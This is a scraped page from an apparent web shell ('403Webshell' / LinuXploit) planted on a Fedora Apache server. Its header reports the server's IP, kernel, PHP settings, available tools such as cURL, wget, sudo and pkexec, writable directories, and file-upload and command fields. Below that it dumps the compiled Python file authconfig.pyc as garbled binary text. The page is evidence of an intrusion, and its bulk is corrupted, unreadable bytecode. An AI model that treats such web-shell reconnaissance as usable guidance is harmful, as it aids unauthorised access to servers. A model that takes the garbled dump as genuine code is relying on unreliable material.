403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/authconfig/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/authconfig/authconfig.pyc
ʼJc@sSddkZddkZddkZddkZddkZddkZeiZddkl	Z	ddk
Z
e
ie
iddZ
e
doddkZnde	fdYZdfd	YZd
efdYZedjo]eieieieid
e
do
eZn
eZeieindS(iN(tOptionParsertcCstidi|djS(Ni(tsystargvtfind(tname((s#/usr/share/authconfig/authconfig.pytrunsAs"ssauthconfig-tuitUnihelpOptionParsercBseZddZRS(cCs|djo
ti}nti}t|dd}|p
|djo
|}n|i|ii|i	|ddS(Ntencodingtasciitreplace(
tNoneRtstdouttlocaletgetpreferredencodingtgetattrtwritetformat_helptdecodetencode(tselftfiletsrcencodingR((s#/usr/share/authconfig/authconfig.pyt
print_help)s


N(t__name__t
__module__RR(((s#/usr/share/authconfig/authconfig.pyR(st
AuthconfigcBs}eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZRS(
cCsCt|_t|_t|_t|_t|_t|_d|_dS(Ni(tFalset	nis_availtkerberos_availt
ldap_availt	smb_availtcache_availt
fprintd_availtretval(R((s#/usr/share/authconfig/authconfig.pyt__init__3s						cCsdS(Nt
authconfig((R((s#/usr/share/authconfig/authconfig.pytmodule<scCs$tiid|i|fdS(Ns%s: %s
(RtstderrRR%(Rterror((s#/usr/share/authconfig/authconfig.pyt
printError?scCsyd}d}x\|D]T}|djo|d7}n|o|t|d7}n||7}|d7}qW|d7}|S(Nit<t|t=it>(tstr(Rtltaddidxtidxthelptitem((s#/usr/share/authconfig/authconfig.pytlistHelpBs


cCstd|i}|idjo|d7}nt|}|idddddtd	|id
dddtd|idd
dddtd|iddddtd|idd|ititdtd|iddddtd|iddddtd|iddtddtd|iddtddtd|iddddtd|id dddtd!|id"dddtd#|id$dddtd%|id&dtddtd'|id(dtd)dtd*|id+d,dddtd-|id.d/dddtd0|id1dtd2dtd3|id4dddtd5|id6dddtd7|id8dddtd9|id:dddtd;|id<dtd=dtd>|itit	}|id?d|dtd@|idAdddtdB|idCdddtdD|idEdddtdF|idGdddtdH|idIdtddtdJ|idKdtddtdL|idMdtdNdtdO|idPdddtdQ|idRdddtdS|idTdddtdU|idVdddtdW|idXdddtdY|idZdddtd[|id\dtd]dtd^|id_dtd`dtda|idbdddtdc|idddddtde|idfdddtdg|idhdddtdi|idjddkdtdl|idmdtdNdtdn|idodtdpdtdq|idrdtdpdtds|idtddudtdv|idwddxdtdy|idzdd{dtd||id}dd~dtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|iddddtd|idjoB|iddddtd|iddddtdn#|idddddtd|iddddtd|iddddtd|iddtddtd|iddtddtd|iddddtd|i
\|_}|o$|itdt
idn|idjov|iioh|iioZ|iioL|iio>|iio0|iio"|iio|i
dgndS(Nsusage: %s [options]R$se {--update|--updateall|--test|--probe|--restorebackup <name>|--savebackup <name>|--restorelastbackup}s--enableshadows--useshadowtactiont
store_trueR1s$enable shadowed passwords by defaults--disableshadows%disable shadowed passwords by defaults--enablemd5s--usemd5senable MD5 passwords by defaults--disablemd5s disable MD5 passwords by defaults
--passalgotmetavars&hash/crypt algorithm for new passwordss--enableniss*enable NIS for user information by defaults--disableniss+disable NIS for user information by defaults--nisdomains<domain>sdefault NIS domains--nisservers<server>sdefault NIS servers--enableldaps+enable LDAP for user information by defaults
--disableldaps,disable LDAP for user information by defaults--enableldapauths)enable LDAP for authentication by defaults--disableldapauths*disable LDAP for authentication by defaults--ldapservers#default LDAP server hostname or URIs--ldapbasedns<dn>sdefault LDAP base DNs--enableldaptlss--enableldapstarttlss&enable use of TLS with LDAP (RFC-2830)s--disableldaptlss--disableldapstarttlss'disable use of TLS with LDAP (RFC-2830)s--ldaploadcacerts<URL>s load CA certificate from the URLs--enablesmartcards0enable authentication with smart card by defaults--disablesmartcards1disable authentication with smart card by defaults--enablerequiresmartcards0require smart card for authentication by defaults--disablerequiresmartcards7do not require smart card for authentication by defaults--smartcardmodules<module>s default smart card module to uses--smartcardactions(action to be taken on smart card removals--enablefingerprints9enable authentication with fingerprint readers by defaults--disablefingerprints:disable authentication with fingerprint readers by defaults--enablekrb5s)enable kerberos authentication by defaults
--disablekrb5s*disable kerberos authentication by defaults	--krb5kdcsdefault kerberos KDCs--krb5adminserversdefault kerberos admin servers--krb5realms<realm>sdefault kerberos realms--enablekrb5kdcdnss'enable use of DNS to find kerberos KDCss--disablekrb5kdcdnss(disable use of DNS to find kerberos KDCss--enablekrb5realmdnss)enable use of DNS to find kerberos realmss--disablekrb5realmdnss*disable use of DNS to find kerberos realmss--enablesmbauths$enable SMB authentication by defaults--disablesmbauths%disable SMB authentication by defaults--smbserverss	<servers>s(names of servers to authenticate againsts--smbworkgroups<workgroup>s'workgroup authentication servers are ins--enablewinbinds.enable winbind for user information by defaults--disablewinbinds/disable winbind for user information by defaults--enablewinbindauths,enable winbind for authentication by defaults--disablewinbindauths-disable winbind for authentication by defaults
--smbsecuritys<user|server|domain|ads>s*security mode to use for samba and winbinds
--smbrealms5default realm for samba and winbind when security=adss
--smbidmapuids<lowest-highest>s4uid range winbind will assign to domain or ads userss
--smbidmapgids4gid range winbind will assign to domain or ads userss--winbindseparators<\>sthe character which will be used to separate the domain and user part of winbind-created user names if winbindusedefaultdomain is not enableds--winbindtemplatehomedirs
</home/%D/%U>sGthe directory which winbind-created users will have as home directoriess--winbindtemplateprimarygroups<nobody>sFthe group which winbind-created users will have as their primary groups--winbindtemplateshells</bin/false>sDthe shell which winbind-created users will have as their login shells--enablewinbindusedefaultdomains[configures winbind to assume that users with no domain in their user names are domain userss --disablewinbindusedefaultdomains_configures winbind to assume that users with no domain in their user names are not domain userss--enablewinbindofflines)configures winbind to allow offline logins--disablewinbindofflines+configures winbind to prevent offline logins
--winbindjoins<Administrator>s>join the winbind domain or ads realm now as this administrators--enablewinss#enable wins for hostname resolutions
--disablewinss$disable wins for hostname resolutions--enablepreferdnss3prefer dns over wins or nis for hostname resolutions--disablepreferdnss:do not prefer dns over wins or nis for hostname resolutions--enablehesiods-enable hesiod for user information by defaults--disablehesiods.disable hesiod for user information by defaults--hesiodlhss<lhs>sdefault hesiod LHSs--hesiodrhss<rhs>sdefault hesiod RHSs
--enablecaches-enable caching of user information by defaults--disablecaches.disable caching of user information by defaults--enablelocauthorizes1local authorization is sufficient for local userss--disablelocauthorizes1authorize local users also through remote services--enablepamaccesss.check access.conf during account authorizations--disablepamaccesss5do not check access.conf during account authorizations--enablesysnetauths0authenticate system accounts by network servicess--disablesysnetauths0authenticate system accounts by local files onlys--enablemkhomedirs6create home directories for users on their first logins--disablemkhomedirs=do not create home directories for users on their first logins	--nostarts+do not start/stop portmap, ypbind, and nscds--tests>do not update the configuration files, only print new settingssauthconfig-tuis--backs<display Back instead of Cancel in the main dialog of the TUIs--kickstarts1do not display the deprecated text user interfaces--updatesDopposite of --test, update configuration files with changed settingss--updateallsupdate all configuration filess--probes)probe network for defaults and print thems--savebackups<name>s(save a backup of all configuration filess--restorebackups)restore the backup of configuration filess--restorelastbackupsXrestore the backup of configuration files saved before the previous configuration changesunexpected argumentis-h(t_R%Rt
add_optionR3tauthinfotpassword_algorithmsRtgetSmartcardActionstTruet
parse_argstoptionsR(Rtexittprobettesttupdatet	updateallt
savebackupt
restorebackuptrestorelastbackup(Rtusagetparsertactshelptargs((s#/usr/share/authconfig/authconfig.pytparseOptionsOsp


















































































"*cCsti|i}|i|io#|iod|i|ifGHn|io#|iod|i|ifGHn|io-d|i|i	pd|i
pdfGHndS(Nshesiod %s/%ssldap %s/%s
skrb5 %s/%s/%s
R(R9tAuthInfoR(R@t	hesiodLHSt	hesiodRHSt
ldapServert
ldapBaseDNt
kerberosRealmtkerberosKDCtkerberosAdminServer(Rtinfo((s#/usr/share/authconfig/authconfig.pyR@(s
		
	cCsNti|i|_|ii|_|iidjot|i_ndS(N(	R9treadR(RTtcopytpristineinfotenableLocAuthorizeRR<(R((s#/usr/share/authconfig/authconfig.pytreadAuthInfo5scCstititiotititi|_tititi|_titi	tiotiti
ti|_tititi|_
tititi|_tititi|_dS(N(tostaccessR9tPATH_YPBINDtX_OKtPATH_LIBNSS_NISRt
PATH_PAM_KRB5Rt
PATH_PAM_LDAPtPATH_LIBNSS_LDAPRtPATH_PAM_SMBRt	PATH_NSCDR tPATH_PAM_FPRINTDR!(R((s#/usr/share/authconfig/authconfig.pyttestAvailableSubsys<sc
Cshdd6dd6dd6dd6d	d
6dd6d
d6dd6dd6dd6dd6dd6dd6dd6dd6dd 6d!d"6d#d$6d%d&6d'd(6d)d*6d+d,6d-d.6d/d06}hd1d26d3d46d5d66d7d86d9d:6d;d<6d=d>6d?d@6dAdB6dCdD6dEdF6dGdH6dIdJ6dKdL6dMdN6dOdP6dQdR6dSdT6dUdV6dWdX6dYdZ6d[d\6d]d^6}xv|iD]h\}}t|id_|ot|i|tnt|id`|ot|i|tqbqbW|iioY|ii|iijo@|ii	|ii|i_
|ii|ii|i_nxV|iD]H\}}t|i|djo#t|i|t|i|qAqAW|iioS|iiidadb}|dc|i_t|dbjo|db|i_qn|iioky,t|ii}ti||i_Wqettfj
o&|itddde|i_qeXn|iip>|iiodf|i_n|iiodg|i_qnC|iiti jo,|itdhdi|i_dj|_!ndS(kNtenableShadowtshadowRXtlocauthorizetenablePAMAccesst	pamaccesstenableSysNetAutht
sysnetauthtenableMkHomeDirt	mkhomedirtenableCachetcachetenableHesiodthesiodt
enableLDAPtldaptenableLDAPStldaptlstenableLDAPAuthtldapauthtenableKerberostkrb5t	enableNIStnistkerberosKDCviaDNSt
krb5kdcdnstkerberosRealmviaDNStkrb5realmdnstenableSmartcardt	smartcardt
enableFprintdtfingerprinttforceSmartcardtrequiresmartcardt	enableSMBtsmbautht
enableWinbindtwinbindtenableWinbindAuthtwinbindauthtwinbindUseDefaultDomaintwinbindusedefaultdomaintwinbindOfflinetwinbindofflinet
enableWINStwinstpreferDNSinHostst	preferdnstpasswordAlgorithmtpassalgoRMt	hesiodlhsRNt	hesiodrhsROt
ldapserverRPt
ldapbasednt
ldapCacertURLtldaploadcacertRQt	krb5realmRRtkrb5kdcRStkrb5adminservertsmartcardModuletsmartcardmoduletsmartcardActiontsmartcardactiont	nisDomaint	nisdomaint	nisServert	nisservertsmbWorkgrouptsmbworkgroupt
smbServerst
smbserverstsmbSecuritytsmbsecuritytsmbRealmtsmbrealmtsmbIdmapUidtsmbidmapuidtsmbIdmapGidtsmbidmapgidtwinbindSeparatortwinbindseparatortwinbindTemplateHomedirtwinbindtemplatehomedirtwinbindTemplatePrimaryGrouptwinbindtemplateprimarygrouptwinbindTemplateShelltwinbindtemplateshelltenabletdisablet%iis(Bad smart card removal action specified.Rtmd5tdescrypts;Unknown password hashing algorithm specified, using sha256.tsha256i("t	iteritemsRR>tsetattrRTR<RRRQtgetKerberosKDCRRtgetKerberosAdminServerRSRtwinbindjointsplittjoinUsertlentjoinPasswordRtintR9R;Rt
ValueErrort
IndexErrorR(R7Rt	enablemd5Rt
disablemd5R:R"(Rt
bool_settingststring_settingstopttaivaltlstR0((s#/usr/share/authconfig/authconfig.pytoverrideSettingsFs




&"
'




cCstS(N(R<(R((s#/usr/share/authconfig/authconfig.pytdoUIscCs%|iio|iitndS(N(R>RRTt
joinDomainR<(R((s#/usr/share/authconfig/authconfig.pyRs
cCs|ii|iio!|iip
d|_q;n|ii|iio!|iip
d|_qn$|ii	|i
p
d|_n|i|ii|ii
dS(Niii(RTttestLDAPCACertsRtdownloadLDAPCACertR"trehashLDAPCACertsR>RCRtwriteChangedRWRtposttnostart(R((s#/usr/share/authconfig/authconfig.pyt
writeAuthInfos





cCs|i|iio|itidn|iio7tidjo$|it	dtidn|i
|iio'|ii
}tit|n|iio0|ii|ii}tit|n|iio0|ii|ii}tit|n|i|i|ip5|iio|it	dntidn|iio|iin|i|iS(Niscan only be run as rootisdialog was cancelledi(RKR>R@RR?RARZtgetuidR(R7RYRFRTtrestoreLastRREt
restoreBackupRDt
saveBackupReRRt	printInfoRR"(Rtrv((s#/usr/share/authconfig/authconfig.pytruns6


!









(RRR#R%R(R3RKR@RYReRRRRR(((s#/usr/share/authconfig/authconfig.pyR2s					
		
		
	X			t
AuthconfigTUIcBseZdZdZdZdZdddZdZdZ	dZ
dZd	Zd
Z
dZdZd
ZdZRS(cCsdS(Nsauthconfig-tui((R((s#/usr/share/authconfig/authconfig.pyR%scCs2|iio!|iio|iitndS(N(R>t	kickstartRRTRR<(R((s#/usr/share/authconfig/authconfig.pyRscCs|\}}|ipdSx|oyti|dtipQtd|d|d|df}ti|itd|tdgn|d}q!WdS(NisThe %s file was not found, but it is required for %s support to work properly.
Install the %s package, which provides this file.iitWarningtOki(tselectedRZR[tR_OKR7tsnacktButtonChoiceWindowtscreen(Rtdatatcomptwarningttext((s#/usr/share/authconfig/authconfig.pytwarnCallbacks
	,c!
CsDtitdddg}titdddg}titdddg}titdddg}titd	ddg}titd
ddg}ti	tdd
dg}ti
tdddg}titdd|g}	titdd|	g}
t
idd}t
itd}|i|ddddddt
itdt|ii}
}|i|dddddd|i|i||ft
itdt|ii}}|i|ddddddt
itdt|ii}}|i|dddddd|i|i||ft
itdt|ii}}|i|dddddd|i|i||ft
itdt|ii}}|i|dd ddddt
idd!}t
itd"}|i|ddddddt
itd#t|iid$j}}|i|ddddddt
itd%t|ii}}|i|dddddd|i|i||ft
itd&t|ii}}|i|dddddd|i|i||ft
itd't|ii}}|i|dddddd|i|i||ft
itd(t|ii}}|i|dd dddd|i|i||ft
itd)t|ii }}|i|dddddd|i|i||	ft
itd*t|ii!}}|i|dd+ddddt
idd}|i|ddddd,dd-d4|i|ddd.dd,dd-d5t
idd}t
i"|i#i$o
td/p
td0}t
i"td1}|i|dd|i|ddt
idd}|i|dddd|i|ddddt
i%} |i&i'|td2| i(|| i)}||jo
|
i*|i_|i*|i_|i*|i_|i*|i_|i*|i_|i*|i_|i*od$|i_n$|iid$jod3|i_n|i*|i_|i*|i_|i*|i_ |i*|i_!|i*|i_n|i&i+||jS(6NtcachingtnscdsFingerprint readertpam_fprintdtKerberostpam_krb5sLDAP authenticationtnss_ldaptLDAPtNIStypbindsshadow passwordsshadow-utilstWinbindssamba-clientsWinbind authenticationssamba-commoniisUser Informationit
anchorLefttgrowxsCache Informations
Use HesiodisUse LDAPisUse NISisUse WinbindiitAuthenticationsUse MD5 PasswordsRsUse Shadow PasswordssUse LDAP AuthenticationsUse KerberossUse Fingerprint readersUse Winbind Authentications!Local authorization is sufficientit	anchorToptpaddingtanchorRighttBacktCanceltNextsAuthentication ConfigurationR(iiii(iiii(,R9RcR7RRdR_R`RaR\tPATH_PWCONVtPATH_WINBIND_NETtPATH_PAM_WINBINDtPATH_LIBNSS_WINBINDRtGridtLabeltsetFieldtCheckboxtboolRTRotsetCallbackRRqRsR{RRRfRwRyRRRXtButtonR>tbacktFormRtgridWrappedWindowtaddRRt	popWindow(!Rt	warnCachetwarnFprintdtwarnKerberostwarnLDAPAuthtwarnLDAPtwarnNISt
warnShadowtwarnWinbindNettwarnWinbindAuthtwarnWinbindtinfoGridRRptcbRrRtR|RtauthGridRRgtldapaRztfprintdRRhtmechGridt
buttonGridtcanceltoktmainGridtform((s#/usr/share/authconfig/authconfig.pytgetMainChoicess(((((.((((((%%/



cCst|}tid|}d}	g}
xx|D]p\}}}
}|djopti|tt|i|
}|
i||iti	dd|	dd|i|d|	ddn|djo|ti	|}|i|d|	d	dddti
d
t|i|
d|}|
i||i|d|	ddnO|d
joti	|}|i|d|	d	dddddy#t|i|
}|i|Wntj
o|d}nXd}g}x*|D]"}|i||||jfqWtid|}|
i||i|d|	ddnV|djoHtid|dddd}|
i||i|d|	ddn|	d7}	q1Wti|odpdd}ti|}ti|}|oti|pd}|i|dd|o|i|ddn|i||odpddtidd}|i|ddd	ddd|i|ddd	dddti}|ii|||i|x)to!|i}||joPn|
}x|D]\}}}
}|djo&t|i|
|idiq|djo&t|i|
|idiq|d
jo&t|i|
|idiq|djo|idqqW||joPn|o|qqW|ii||jS(NiittfvalueRRiRtsvalueRi(thiddenRtrvalueRtlvaluei2tflexDowntflexUpi(iiii(iiii(iiii(iiii(RRRRRRRTtappendR
RtEntrytindexRRtRadioBartTextboxReflowedRRRRRR<RRtpopRtvaluetgetSelectionR(Rtdtitletitemst	canceltxttoktxtt
anothertxtt	anothercbtrowstquestionGridtrowtwidgetstttdesctattrtvalR"Rtselt
buttonlisttvtradioBarR'R(R)tanotherR*R+twcopy((s#/usr/share/authconfig/authconfig.pytgetGenericChoices[s
$
"
$

% 


 !


&
&
&


cCsldtdddfdtdddfg}|itd|td|o
td	p
td
S(NR.sLHS:RMisRHS:RNsHesiod SettingsRRR(R7RP(Rtnextt	questions((s#/usr/share/authconfig/authconfig.pytgetHesiodSettingsscCsdtdddfdtdddfdtdd	dfg}|itd
|td|o
tdp
td
S(NR-sUse TLSRuR.sServer:ROisBase DN:RPs
LDAP SettingsRRR(R7RRP(RRQRR((s#/usr/share/authconfig/authconfig.pytgetLDAPSettingss
cCsldtdddfdtdddfg}|itd|td|o
td	p
td
S(NR.sDomain:RisServer:RsNIS SettingsRRR(R7RP(RRQRR((s#/usr/share/authconfig/authconfig.pytgetNISSettingsscCsdtdddfdtdddfdtdddfd	td
ddfd	tdd
dfg}|itd|td|o
tdp
tdS(NR.sRealm:RQisKDC:RRs
Admin Server:RSR-s"Use DNS to resolve hosts to realmsRs!Use DNS to locate KDCs for realmsR}sKerberos SettingsRRR(R7RRP(RRQRR((s#/usr/share/authconfig/authconfig.pytgetKerberosSettingsscCsdtdddfdtdddfg}|iipd|i_n|itd	|td
tdo;|ii|ii|iit|ii	ntS(NR.sDomain Administrator:Ris	Password:Rit
Administrators
Join SettingsRR(
R7RTRRPRtsuspendRBRR<tresume(RRR((s#/usr/share/authconfig/authconfig.pytgetJoinSettingss


cCsdtdddfg}ti|i}|i|iit}|ii|o.|i	td|tdtd}n|o|ii
n|itS(NR1sSome of the configuration changes you've made should be saved to disk before continuing.  If you do not save them, then your attempt to join the domain may fail.  Save changes?s
Save SettingstNotYes(
R7RR9RUR(RBRTRtdiffersRPRRZR<(RRRt	orig_infotret((s#/usr/share/authconfig/authconfig.pytmaybeGetJoinSettingss	


c	Csddg}ddddddg}d	}t||}d
tdd|fd
tdddfd
tdddfd
tdddfd
tdd|fg}|itd|td|o
tdp
tddtdd|iS(Ntadstdomains
/sbin/nologins/bin/shs	/bin/bashs	/bin/tcshs/bin/kshs/bin/zshcSsti|tiS(N(RZR[R](tshell((s#/usr/share/authconfig/authconfig.pytshellexistssR0sSecurity Model:RR.sDomain:RisDomain Controllers:Rs
ADS Realm:RsTemplate Shell:RsWinbind SettingsRRRR@sJoin DomainRA(tfilterR7RPR`(RRQtsecuritytshellsRdRR((s#/usr/share/authconfig/authconfig.pytgetWinbindSettingss		,cCsd}t}x}|djoo|djob|ii|djo|i}n	|djo~|iiom|iipK|iip>|iip1|iip$|ii	p|ii
p
|ii}|i|}q[n~|djoq|iip
|iioS|iip1|iip$|ii	p|ii
p
|ii}|i
|}q[n|djoW|iioF|iip$|ii	p|ii
p
|ii}|i|}q[n|djoJ|iio9|ii	p|ii
p
|ii}|i|}q[nE|djo7|ii
p
|iiot}|i|}q[n|ii|o|d7}q|d8}qW|djS(	Niiiiiiii(RRTRBR,RqRsRwRyR{RRRRSRTRURVRh(RRQtrctmore((s#/usr/share/authconfig/authconfig.pyt
getChoicess^

























cCsBtd|ii}ti|itd|tdgdS(NsTo connect to a LDAP server with TLS protocol enabled you need a CA certificate which signed your server's certificate. Copy the certificate in the PEM format to the '%s' directory.
Then press OK.RR(R7RTt
ldapCacertDirRRR(RR((s#/usr/share/authconfig/authconfig.pytdisplayCACertsMessage9s	
cCs|iiotSzti|_|i}|iitd|ii	dd|d|i
p|iitS|i
io|i
io|inWd|iiXtS(NsN <Tab>/<Alt-Tab> between elements   |   <Space> selects   |  <F12> next screenis - (c) 1999-2005 Red Hat, Inc.(R>RR<RtSnackScreenRR%tpushHelpLineR7tdrawRootTextRktfinishRRTRuRRm(Rtpackageversion((s#/usr/share/authconfig/authconfig.pyRAs


N(RRR%RRR,RRPRSRTRURVRZR`RhRkRmR(((s#/usr/share/authconfig/authconfig.pyRs				s_						
			1	t__main__R$(R9tacutiltgettextRZtsignalRtlgettextR7toptparseRR
t	setlocaletLC_ALLRRRRRRtSIGINTtSIG_DFLt
textdomainR%R?R(((s#/usr/share/authconfig/authconfig.pyt<module>s(0		





	

Youez - 2016 - github.com/yon3zu
LinuXploit